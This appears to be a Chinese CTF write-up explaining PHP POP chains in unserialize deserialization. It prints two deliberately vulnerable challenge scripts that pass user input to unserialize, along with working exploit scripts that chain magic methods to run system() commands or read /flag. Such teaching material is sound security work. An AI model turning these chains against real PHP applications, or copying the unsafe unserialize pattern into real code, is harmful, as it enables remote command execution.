当前位置: 首页 > 工具软件 > Pop php > 使用案例 >

PHP POP链小结,梳理一下__destruct魔术方法

龚同
2023-12-01

前置知识: 

        1.魔术方法:PHP之十六个魔术方法详解(总结)-php教程-PHP中文网

        2.适合做POP链起点的魔术方法:__destruct、__wakeup

        3.私有属性和保护属性的初始化方法,在类中定义__construct魔术方法,实例化对象时传入需要初始化的内容即可。

<?php
class BBB {
    protected $name;
    public function __construct($name){
        $this->name=$name;
    }
}
$a=new BBB('bob');
var_dump ($a);
//object(BBB)#1 (1) {
//  ["name":protected]=>
//  string(3) "bob"
//}
?> 

        4.在较新版本的php中,一个类中若要调用一个类的方法需要声明"(new XXX())->xxx()", 低版本则是XXX::xxx,X为类名,x为方法名。

        5.涉及私有属性和保护属性需urlencode序列化内容。

实例

        1.2023.1.10三校联合内部训练赛web ezPOP

<?php
highlight_file(_FILE_):
error_reporting(O):
class AAA {
	private $cmd;
	public function _destruct()
	{
		echo "This is cmd :".$this->cmd;
	}
	public function _invoke()
	{
		system($this->cmd);
	}
}
class BBB {
	protected $name;
	public function _toString()
	{
		return $this -> name ->obj;
	}
}
class EEE{
	public $var;
	public function _get($var){
	{	
		($this->var)();
	}
unserialize($_POST['pop'];

        wrtiteup:

        pop链讲解的文章有很多,具体链条的形成不多讲解,这里就重点演示一下__destruct魔术方法的触发和实例化对象的初始化,首先链条是:AAA(__destruct)->BBB(__toString)->EEE(_get)->AAA(__invoke),exp如下:

<?php
class AAA {
    private $cmd;
    public function __construct($cmd){
        $this->cmd=$cmd;
    }
}

class BBB {
    protected $name;
    public function __construct($name){
        $this->name=$name;
    }
}

class EEE {
    public $var;
    public function __construct($var){
        $this->var=$var;
    }
}
echo urlencode(serialize(new AAA(new BBB(new EEE(new AAA("ls"))))));

        当序列化的内容被反序列化时,由于unserialize($_POST['pop'];为程序结尾的位置,所以会调用__destruct魔术方法,触发pop链。

        2.三校联赛web MoreFast

<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function backdoor($key){
        if($key == "GoodJob"){
            readfile("/flag");
        }else{
            die("Bad Job!");
        }
    }
}
class SQLi{
    public $func;
    public $var;
    public function hello(){
        echo "You Touch Me";
    }
    public function bye(){
        $fun = $this->func;
        $fun($this->var);
    }
}

class Test{
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
}

class Reader{
    public $name;
    public $obj;
    public function __destruct(){
        if(!preg_match("/CTF/i",$this->name)){
            echo "NoNoNo";
        }else{
            system("whoami");
        }
    }
    public function bye(){
        echo "Let's say goodbye with a smile";
    }
    public function __call($func,$var){
        if($func == "hello"){
            $this->obj->bye();
        }
    }
}

class Lua{
    public $hard;
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __toString(){
        ($this->hard)();
        return "Bad times make a good man.";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class Json{
    public $format;
    public function __invoke(){
        $this->format->hello();
    }
    public function __construct(){
        $this->format = array();
    }
}

if(isset($_GET['exp'])){
    $o = unserialize($_GET['exp']);
    throw new Exception("So Easy!");
}

         writeup:

这里重点讲__destruct魔术方法的触发和跨类调用方法,首先pop链是:Reader(__destruct)->Lua(__toString)->Json(__invoke)->Reader(__call)->SQli(bye())->Evil(backdoor()),exp如下:

<?php
class SQLi{
    public $func;
    public $var;
}
class Reader{
    public $name;
    public $obj;
}

class Lua{
    public $hard;
}

class Json{
    public $format;
}

$a = new Reader;
$a -> name = new Lua;
$a -> name -> hard = new Json;
$a -> name -> hard -> format = new Reader;
$a -> name -> hard -> format -> obj = new SQLi;
// 解法一:静态调用backdoor方法
$a -> name -> hard -> format -> obj -> var = "GoodJob";
$a -> name -> hard -> format -> obj -> func = "(new Evil())->backdoor()";
// 解法二:动态调用函数读文件
//$a -> name -> hard -> format -> obj -> var = "/flag";
//$a -> name -> hard -> format -> obj -> func = "readfile";
echo serialize($a);

        注意到在SQLi中调用Evil的backdoor的声明 func = "(new Evil())->backdoor()" ,区别高低版本的不同。另外,序列化的内容被反序列化后 $o = unserialize($_GET['exp']);执行结束后。即函数结束,函数中的参数类被销毁,此时触发__destruct,启动pop链。另外还可以调用readfile函数。

 

 类似资料: